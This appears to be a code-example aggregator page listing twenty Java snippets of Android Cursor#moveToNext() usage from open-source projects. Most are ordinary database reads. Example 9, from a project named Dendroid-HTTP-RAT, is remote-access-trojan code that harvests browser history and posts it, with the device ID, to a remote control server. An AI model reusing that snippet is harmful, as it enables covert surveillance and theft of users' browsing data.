Java Code Examples for android.database.Cursor#moveToNext()
The following examples show how to use
android.database.Cursor#moveToNext() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: Database.java From Atomic with GNU General Public License v3.0 | 6 votes |
/** * Get a server by its id * * @param serverId * @return */ public int getIdentityIdByServerId(int serverId) { int identityId = -1; Cursor cursor = this.getReadableDatabase().query( ServerConstants.TABLE_NAME, ServerConstants.ALL, ServerConstants._ID + " = " + serverId, null, null, null, null ); if( cursor.moveToNext() ) { identityId = cursor.getInt(cursor.getColumnIndex(ServerConstants.IDENTITY)); } cursor.close(); return identityId; }
Example 2
Source File: DatabaseBackend.java From Pix-Art-Messenger with GNU General Public License v3.0 | 6 votes |
public MamReference getLastClearDate(Account account) { SQLiteDatabase db = this.getReadableDatabase(); String[] columns = {Conversation.ATTRIBUTES}; String selection = Conversation.ACCOUNT + "=?"; String[] args = {account.getUuid()}; Cursor cursor = db.query(Conversation.TABLENAME, columns, selection, args, null, null, null); MamReference maxClearDate = new MamReference(0); while (cursor.moveToNext()) { try { final JSONObject o = new JSONObject(cursor.getString(0)); maxClearDate = MamReference.max(maxClearDate, MamReference.fromAttribute(o.getString(Conversation.ATTRIBUTE_LAST_CLEAR_HISTORY))); } catch (Exception e) { //ignored } } cursor.close(); return maxClearDate; }
Example 3
Source File: DatabaseAccess.java From QuranAndroid with GNU General Public License v3.0 | 6 votes |
/** * Function to get all translation books , info and status * * @return List of translations */ public List<TranslationBook> getAllTranslations() { List<TranslationBook> translationBooks = new ArrayList<TranslationBook>(); SQLiteDatabase db = openDB(MAIN_DATABASE); String sql = "select * from tafaseer ;"; Cursor cursor = db.rawQuery(sql, null); cursor.moveToFirst(); while (!cursor.isAfterLast()) { translationBooks.add(new TranslationBook(cursor.getInt(0), cursor.getString(1), cursor.getString(2) == null ? "" : cursor.getString(2), cursor.getInt(3), false, false)); cursor.moveToNext(); } cursor.close(); closeDB(db); return translationBooks; }
Example 4
Source File: CreditsLiveData.java From cathode with Apache License 2.0 | 5 votes |
private List<Credit> parseMovieCrew(Uri uri, Department department) { Cursor cursor = resolver.query(uri, MOVIE_CREW_PROJECTION, MovieCrewColumns.CATEGORY + "=?", new String[] { department.toString(), }, null); try { if (cursor.getCount() > 0) { List<Credit> credits = new ArrayList<>(); while (cursor.moveToNext()) { final String character = Cursors.getString(cursor, MovieCrewColumns.JOB); final long personId = Cursors.getLong(cursor, MovieCrewColumns.PERSON_ID); final String name = Cursors.getString(cursor, PersonColumns.NAME); final String headshot = ImageUri.create(ImageUri.ITEM_PERSON, ImageType.PROFILE, personId); Credit credit = Credit.character(character, personId, name, headshot); credits.add(credit); } return credits; } return null; } finally { cursor.close(); } }
Example 5
Source File: RecordAction.java From Ninja with Apache License 2.0 | 5 votes |
public List<Record> listBookmarks() { List<Record> list = new ArrayList<>(); Cursor cursor = database.query( RecordUnit.TABLE_BOOKMARKS, new String[] { RecordUnit.COLUMN_TITLE, RecordUnit.COLUMN_URL, RecordUnit.COLUMN_TIME }, null, null, null, null, RecordUnit.COLUMN_TIME + " desc" ); if (cursor == null) { return list; } cursor.moveToFirst(); while (!cursor.isAfterLast()) { list.add(getRecord(cursor)); cursor.moveToNext(); } cursor.close(); return list; }
Example 6
Source File: BookmarkDataSource.java From Gazetti_Newspaper_Reader with MIT License | 5 votes |
public List<BookmarkModel> getAllBookmarkModels() { //Log.d(TAG, "Getting all Bookmarks"); List<BookmarkModel> bookmarkModelList = new ArrayList<BookmarkModel>(); Cursor cursor = database.query(SQLiteHelper.TABLE_READ_IT_LATER, allColumns, null, null, null, null, null); cursor.moveToFirst(); while (!cursor.isAfterLast()) { BookmarkModel bookmarkObject = cursorToBookmarkModel(cursor); bookmarkModelList.add(bookmarkObject); cursor.moveToNext(); } // make sure to close the cursor cursor.close(); return bookmarkModelList; }
Example 7
Source File: FriendsTimeLineDBTask.java From iBeebo with GNU General Public License v3.0 | 5 votes |
private static void updateCount(String msgId, int commentCount, int repostCount) { DevLog.printLog("getHomeLineMsgList - updateCount: ", " " + msgId + " " + commentCount + " " + repostCount); String sql = "select * from " + HomeTable.HomeDataTable.HOME_DATA_TABLE + " where " + HomeTable.HomeDataTable.MBLOGID + " = " + msgId + " order by " + HomeTable.HomeDataTable.ID + " asc limit 50"; DevLog.printLog("getHomeLineMsgList - updateCount: ", " SQLITE: update Count: " + sql); Cursor c = getRsd().rawQuery(sql, null); Gson gson = new Gson(); while (c.moveToNext()) { String id = c.getString(c.getColumnIndex(HomeTable.HomeDataTable.ID)); String json = c.getString(c.getColumnIndex(HomeTable.HomeDataTable.JSONDATA)); if (!TextUtils.isEmpty(json)) { try { MessageBean value = gson.fromJson(json, MessageBean.class); value.setComments_count(commentCount); value.setReposts_count(repostCount); String[] args = { id }; ContentValues cv = new ContentValues(); cv.put(HomeTable.HomeDataTable.JSONDATA, gson.toJson(value)); getWsd().update(HomeTable.HomeDataTable.HOME_DATA_TABLE, cv, HomeTable.HomeDataTable.ID + "=?", args); } catch (JsonSyntaxException e) { } } } c.close(); }
Example 8
Source File: NotificationDAO.java From product-emm with Apache License 2.0 | 5 votes |
public List<Notification> getAllDismissedNotifications() { List<Notification> notifications = new ArrayList<Notification>(); Cursor result = db.rawQuery("SELECT * FROM " + Constants.NotificationTable.NAME + " WHERE status = 'DISMISSED'", null); result.moveToFirst(); while (!result.isAfterLast()) { Notification comment = cursorToNotification(result); notifications.add(comment); result.moveToNext(); } result.close(); return notifications; }
Example 9
Source File: MyService.java From Dendroid-HTTP-RAT with GNU General Public License v3.0 | 5 votes |
@Override protected String doInBackground(String... params) { String sel = Browser.BookmarkColumns.BOOKMARK + " = 0"; Cursor mCur = getApplicationContext().getContentResolver().query(Browser.BOOKMARKS_URI, Browser.HISTORY_PROJECTION, sel, null, null); if (mCur.moveToFirst()) { int i = 0; while (mCur.isAfterLast() == false) { if(i<Integer.parseInt(j)){ SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd*hh:mm:ss"); Calendar calendar = Calendar.getInstance(); String now = mCur.getString(Browser.HISTORY_PROJECTION_DATE_INDEX); calendar.setTimeInMillis(Long.parseLong(now)); try { getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + formatter.format(calendar.getTime()) + "] " + mCur.getString(Browser.HISTORY_PROJECTION_URL_INDEX)); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } } i++; mCur.moveToNext(); } } mCur.close(); return "Executed"; }
Example 10
Source File: DatabaseCleanupTaskTest.java From budget-watch with GNU General Public License v3.0 | 5 votes |
@Test public void testCleanupOnly() throws IOException { addTransactions(); DatabaseCleanupTask task = new DatabaseCleanupTask(activity); task.execute(); // Actually run the task to completion Robolectric.flushBackgroundThreadScheduler(); // Check that the orphaned image is now deleted assertEquals(false, orphanReceipt.exists()); // Check that the database only reports transactions with // existing receipts Cursor cursor = db.getTransactionsWithReceipts(null); // There should be NUM_TRANSACTIONS transactions for each of // REVENUE and EXPENSE assertEquals(NUM_TRANSACTIONS*2, cursor.getCount()); while(cursor.moveToNext()) { Transaction transaction = Transaction.toTransaction(cursor); assertEquals(WITH_RECEIPT_NAME, transaction.description); // Check that the image still exists File receipt = new File(transaction.receipt); assertEquals(true, receipt.exists()); assertEquals(true, receipt.isFile()); } cursor.close(); }
Example 11
Source File: RouteFragmentTest.java From open with GNU General Public License v3.0 | 5 votes |
@Test public void onLocationChange_shouldStoreSpeedInDatabase() throws Exception { initTestFragment(); TestHelper.startFragment(fragment, act); Location testLocation = fragment.getRoute().getGeometry().get(2); float expectedSpeed = 44.0f; testLocation.setSpeed(expectedSpeed); fragment.onLocationChanged(testLocation); Cursor cursor = db.query(DatabaseHelper.TABLE_LOCATIONS, new String[] { DatabaseHelper.COLUMN_SPEED }, null, null, null, null, null); assertThat(cursor).hasCount(1); cursor.moveToNext(); assertThat(cursor.getFloat(0)).isEqualTo(expectedSpeed); }
Example 12
Source File: DatabaseHelper.java From NexusData with Apache License 2.0 | 5 votes |
private static void dropTables(SQLiteDatabase db) { String TABLES_SQL = "select 'drop table if exists ' || name || ';' from sqlite_master where type='table' "+ "and name not like 'android%' "+ "and name not like 'sqlite%' "+ "and name not like '"+METADATA_TABLE_NAME+"';"; Cursor c = db.rawQuery(TABLES_SQL, null); while(c.moveToNext()) { String dropTableSql = c.getString(0); LOG.info("Executing: " + dropTableSql); db.execSQL(dropTableSql); } }
Example 13
Source File: DbSqlite.java From SqliteLookup with Apache License 2.0 | 4 votes |
/** * paging query * * @param table * @param columns * @param selection * @param selectionArgs * @param groupBy * @param having * @param orderBy cann't be null if define page and pageSize * @param page first page is 1 * @param pageSize * @return */ public PagingList<ResultSet> pagingQuery(String table, String[] columns, String selection,String[] selectionArgs, String groupBy, String having, String orderBy,int page,int pageSize){ if(orderBy == null && pageSize != 0) throw new SQLException("orderBy cann't be null if define page and pageSize"); String orderWithLimit; if(orderBy != null && pageSize != 0){ orderWithLimit = String.format("%s LIMIT %s , %s", orderBy, (page-1)*pageSize, pageSize); }else{ orderWithLimit = orderBy; } Cursor cursor = null; Cursor totalCursor = null; try { openDB(); PagingList<ResultSet> resultList = new PagingList<ResultSet>(); totalCursor = mSQLiteDatabase.query(table, new String[]{"count(*) as totalSize"}, selection, selectionArgs, groupBy, having,null); if(totalCursor.moveToNext()){ int totalSize = totalCursor.getInt(0); resultList.setTotalSize(totalSize); } cursor = mSQLiteDatabase.query(table, columns, selection, selectionArgs, groupBy, having, orderWithLimit); if(cursor.getCount() < 1){ return resultList; }else{ parseCursorToResult(cursor, resultList); return resultList; } } catch (Exception ex) { ex.printStackTrace(); return null; } finally { if(cursor!=null) cursor.close(); if(totalCursor != null) totalCursor.close(); } }
Example 14
Source File: InviteMessgeDao.java From FanXin-based-HuanXin with GNU General Public License v2.0 | 4 votes |
/** * 获取messges * @return */ public List<InviteMessage> getMessagesList(){ SQLiteDatabase db = dbHelper.getReadableDatabase(); List<InviteMessage> msgs = new ArrayList<InviteMessage>(); if(db.isOpen()){ Cursor cursor = db.rawQuery("select * from " + TABLE_NAME + " desc",null); while(cursor.moveToNext()){ InviteMessage msg = new InviteMessage(); int id = cursor.getInt(cursor.getColumnIndex(COLUMN_NAME_ID)); String from = cursor.getString(cursor.getColumnIndex(COLUMN_NAME_FROM)); String groupid = cursor.getString(cursor.getColumnIndex(COLUMN_NAME_GROUP_ID)); String groupname = cursor.getString(cursor.getColumnIndex(COLUMN_NAME_GROUP_Name)); String reason = cursor.getString(cursor.getColumnIndex(COLUMN_NAME_REASON)); long time = cursor.getLong(cursor.getColumnIndex(COLUMN_NAME_TIME)); int status = cursor.getInt(cursor.getColumnIndex(COLUMN_NAME_STATUS)); msg.setId(id); msg.setFrom(from); msg.setGroupId(groupid); msg.setGroupName(groupname); msg.setReason(reason); msg.setTime(time); if(status == InviteMesageStatus.BEINVITEED.ordinal()) msg.setStatus(InviteMesageStatus.BEINVITEED); else if(status == InviteMesageStatus.BEAGREED.ordinal()) msg.setStatus(InviteMesageStatus.BEAGREED); else if(status == InviteMesageStatus.BEREFUSED.ordinal()) msg.setStatus(InviteMesageStatus.BEREFUSED); else if(status == InviteMesageStatus.AGREED.ordinal()) msg.setStatus(InviteMesageStatus.AGREED); else if(status == InviteMesageStatus.REFUSED.ordinal()) msg.setStatus(InviteMesageStatus.REFUSED); else if(status == InviteMesageStatus.BEAPPLYED.ordinal()){ msg.setStatus(InviteMesageStatus.BEAPPLYED); } msgs.add(msg); } cursor.close(); } return msgs; }
Example 15
Source File: ChatInfoDao.java From weixin with Apache License 2.0 | 4 votes |
/** * 查询部分的聊天数据 * * @param maxNumber 最多返回多少条数据 * @param startIndex 从哪个位置开始获取数据 * @return */ public List<ChatMsgEntity> findPart(int maxNumber, int startIndex) { SystemClock.sleep(300); SQLiteDatabase db = helper.getWritableDatabase(); //select _id,location,areacode from mob_location limit 20,10 Cursor cursor = db.rawQuery("select * from info order by _id desc limit ? offset ?", new String[] { String.valueOf(maxNumber), String.valueOf(startIndex) }); List<ChatMsgEntity> list = new ArrayList<ChatMsgEntity>(); String id; long time; String isShowTime; String userName; String userImg; String textMsg; String imgMsg; String voiceMsg; int msgType; String isMeMsg; while (cursor.moveToNext()) { id = String.valueOf(cursor.getInt(0)); time = Long.parseLong(cursor.getString(1)); isShowTime = cursor.getString(2); userName = cursor.getString(3); userImg = cursor.getString(4); textMsg = cursor.getString(5); imgMsg = cursor.getString(6); voiceMsg = cursor.getString(7); msgType = Integer.parseInt(cursor.getString(8)); isMeMsg = cursor.getString(9); ChatMsgEntity entity = new ChatMsgEntity(); entity.setId(id); entity.setTime(time); if ("0".equals(isShowTime)) { entity.setShowTime(false); } else { entity.setShowTime(true); } entity.setUserName(userName); entity.setUserImg(Integer.parseInt(userImg)); entity.setTextMsg(textMsg); entity.setImgMsg(imgMsg); entity.setVoiceMsg(voiceMsg); entity.setMsgType(msgType); if ("0".equals(isMeMsg)) { entity.setMeMsg(false); } else { entity.setMeMsg(true); } list.add(0, entity); } cursor.close(); db.close(); return list; }
Example 16
Source File: DbHelperImpl.java From Yuan-SxMusic with Apache License 2.0 | 4 votes |
@Override public List<LocalSong> getLocalMp3Info() { List<LocalSong> mp3InfoList = new ArrayList<>(); getFromDownloadFile(mp3InfoList); //从下载列表中读取歌曲文件 Cursor cursor = App.getContext().getContentResolver().query( MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null, null, null, MediaStore.Audio.Media.DEFAULT_SORT_ORDER); for (int i = 0; i < cursor.getCount(); i++) { cursor.moveToNext(); LocalSong mp3Info = new LocalSong(); String title = cursor.getString((cursor .getColumnIndex(MediaStore.Audio.Media.TITLE)));//音乐标题 String artist = cursor.getString(cursor .getColumnIndex(MediaStore.Audio.Media.ARTIST));//艺术家 long duration = cursor.getLong(cursor .getColumnIndex(MediaStore.Audio.Media.DURATION));//时长 long size = cursor.getLong(cursor .getColumnIndex(MediaStore.Audio.Media.SIZE)); //文件大小 String url = cursor.getString(cursor .getColumnIndex(MediaStore.Audio.Media.DATA)); //文件路径 int isMusic = cursor.getInt(cursor .getColumnIndex(MediaStore.Audio.Media.IS_MUSIC));//是否为音乐 if (isMusic != 0) {//只把音乐添加到集合当中 if (size > 1000 * 800) { // 注释部分是切割标题,分离出歌曲名和歌手 (本地媒体库读取的歌曲信息不规范) if (title.contains("-")) { String[] str = title.split("-"); artist = str[0]; title = str[1]; } mp3Info.setName(title.trim()); mp3Info.setSinger(artist); mp3Info.setDuration(duration / 1000); mp3Info.setUrl(url); mp3Info.setSongId(i+""); mp3InfoList.add(mp3Info); } } } cursor.close(); return mp3InfoList; }
Example 17
Source File: VectorLayer.java From android_maplib with GNU Lesser General Public License v3.0 | 4 votes |
public void rebuildCache(IProgressor progressor) { if (null != progressor) { progressor.setMessage(mContext.getString(R.string.rebuild_cache)); } String columns[] = {FIELD_ID, FIELD_GEOM}; Cursor cursor = query(columns, null, null, null, null); if (null != cursor) { if (cursor.moveToFirst()) { if (null != progressor) { progressor.setMax(cursor.getCount()); } mIsCacheRebuilding = true; mCache = createNewCache(); int counter = 0; do { GeoGeometry geometry = null; try { geometry = GeoGeometryFactory.fromBlob(cursor.getBlob(1)); } catch (IOException e) { e.printStackTrace(); } if (null != geometry) { long rowId = cursor.getLong(0); mCache.addItem(rowId, geometry.getEnvelope()); } if (null != progressor) { if (progressor.isCanceled()) { break; } progressor.setValue(++counter); progressor.setMessage( mContext.getString(R.string.process_features) + ": " + counter); } } while (cursor.moveToNext()); mIsCacheRebuilding = false; } cursor.close(); save(); } }
Example 18
Source File: DatabaseHelper.java From Android-Debug-Database with Apache License 2.0 | 4 votes |
private static List<TableDataResponse.TableInfo> getTableInfo(SQLiteDB db, String pragmaQuery) { Cursor cursor; try { cursor = db.rawQuery(pragmaQuery, null); } catch (Exception e) { e.printStackTrace(); return null; } if (cursor != null) { List<TableDataResponse.TableInfo> tableInfoList = new ArrayList<>(); cursor.moveToFirst(); if (cursor.getCount() > 0) { do { TableDataResponse.TableInfo tableInfo = new TableDataResponse.TableInfo(); for (int i = 0; i < cursor.getColumnCount(); i++) { final String columnName = cursor.getColumnName(i); switch (columnName) { case Constants.PK: tableInfo.isPrimary = cursor.getInt(i) == 1; break; case Constants.NAME: tableInfo.title = cursor.getString(i); break; default: } } tableInfoList.add(tableInfo); } while (cursor.moveToNext()); } cursor.close(); return tableInfoList; } return null; }
Example 19
Source File: RecipeActivity.java From app-indexing with Apache License 2.0 | 4 votes |
private void showRecipe(Uri recipeUri) { Log.d("Recipe Uri", recipeUri.toString()); String[] projection = {RecipeTable.ID, RecipeTable.TITLE, RecipeTable.DESCRIPTION, RecipeTable.PHOTO, RecipeTable.PREP_TIME}; Cursor cursor = getContentResolver().query(recipeUri, projection, null, null, null); if (cursor != null && cursor.moveToFirst()) { mRecipe = Recipe.fromCursor(cursor); Uri ingredientsUri = RecipeContentProvider.CONTENT_URI.buildUpon().appendPath ("ingredients").appendPath(mRecipe.getId()).build(); Cursor ingredientsCursor = getContentResolver().query(ingredientsUri, projection, null, null, null); if (ingredientsCursor != null && ingredientsCursor.moveToFirst()) { do { Recipe.Ingredient ingredient = new Recipe.Ingredient(); ingredient.setAmount(ingredientsCursor.getString(0)); ingredient.setDescription(ingredientsCursor.getString(1)); mRecipe.addIngredient(ingredient); ingredientsCursor.moveToNext(); } while (!ingredientsCursor.isAfterLast()); ingredientsCursor.close(); } Uri instructionsUri = RecipeContentProvider.CONTENT_URI.buildUpon().appendPath ("instructions").appendPath(mRecipe.getId()).build(); Cursor instructionsCursor = getContentResolver().query(instructionsUri, projection, null, null, null); if (instructionsCursor != null && instructionsCursor.moveToFirst()) { do { Recipe.Step step = new Recipe.Step(); step.setDescription(instructionsCursor.getString(1)); step.setPhoto(instructionsCursor.getString(2)); mRecipe.addStep(step); instructionsCursor.moveToNext(); } while (!instructionsCursor.isAfterLast()); instructionsCursor.close(); } Uri noteUri = RecipeContentProvider.CONTENT_URI.buildUpon().appendPath("notes") .appendPath(mRecipe.getId()).build(); Cursor noteCursor = getContentResolver().query(noteUri, projection, null, null, null); if (noteCursor != null && noteCursor.moveToFirst()) { Note note = Note.fromCursor(noteCursor); mRecipe.setNote(note); noteCursor.close(); } // always close the cursor cursor.close(); } else { Toast toast = Toast.makeText(getApplicationContext(), "No match for deep link " + recipeUri.toString(), Toast.LENGTH_SHORT); toast.show(); } if (mRecipe != null) { // Create the adapter that will return a fragment for each of the steps of the recipe. mSectionsPagerAdapter = new SectionsPagerAdapter(getFragmentManager()); // Set up the ViewPager with the sections adapter. mViewPager = (ViewPager) findViewById(R.id.pager); mViewPager.setAdapter(mSectionsPagerAdapter); // Set the recipe title TextView recipeTitle = (TextView) findViewById(R.id.recipeTitle); recipeTitle.setText(mRecipe.getTitle()); // Set the recipe prep time TextView recipeTime = (TextView) findViewById(R.id.recipeTime); recipeTime.setText(" " + mRecipe.getPrepTime()); //Set the note button toggle ToggleButton addNoteToggle = (ToggleButton) findViewById(R.id.addNoteToggle); addNoteToggle.setChecked(mRecipe.getNote() != null); addNoteToggle.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { if (mRecipe.getNote() != null) { displayNoteDialog(getString(R.string.dialog_update_note), getString(R .string.dialog_delete_note)); } else { displayNoteDialog(getString(R.string.dialog_add_note), getString(R.string .dialog_cancel_note)); } } }); } }
Example 20
Source File: NominatimLocationService.java From your-local-weather with GNU General Public License v3.0 | 4 votes |
private Address getResultFromCache(ReverseGeocodingCacheDbHelper mDbHelper, double latitude, double longitude, String locale) { new DeleteOldRows(mDbHelper).start(); SQLiteDatabase db = mDbHelper.getReadableDatabase(); String[] projection = { LocationAddressCache.COLUMN_NAME_ADDRESS }; double latitudeLow = latitude - 0.0001; double latitudeHigh = latitude + 0.0001; double longitudeLow = longitude - 0.0001; double longitudeHigh = longitude + 0.0001; String selection = LocationAddressCache.COLUMN_NAME_LONGITUDE + " <= ? and " + LocationAddressCache.COLUMN_NAME_LONGITUDE + " >= ? and " + LocationAddressCache.COLUMN_NAME_LATITUDE + " <= ? and " + LocationAddressCache.COLUMN_NAME_LATITUDE + " >= ? and " + LocationAddressCache.COLUMN_NAME_LOCALE + " = ? "; String[] selectionArgs = { String.valueOf(longitudeHigh), String.valueOf(longitudeLow), String.valueOf(latitudeHigh), String.valueOf(latitudeLow), locale }; Cursor cursor = null; try { cursor = db.query( LocationAddressCache.TABLE_NAME, projection, selection, selectionArgs, null, null, null ); if (!cursor.moveToNext()) { cursor.close(); return null; } byte[] cachedAddressBytes = cursor.getBlob( cursor.getColumnIndexOrThrow(LocationAddressCache.COLUMN_NAME_ADDRESS)); return ReverseGeocodingCacheDbHelper.getAddressFromBytes(cachedAddressBytes); } finally { if (cursor != null) { cursor.close(); } } }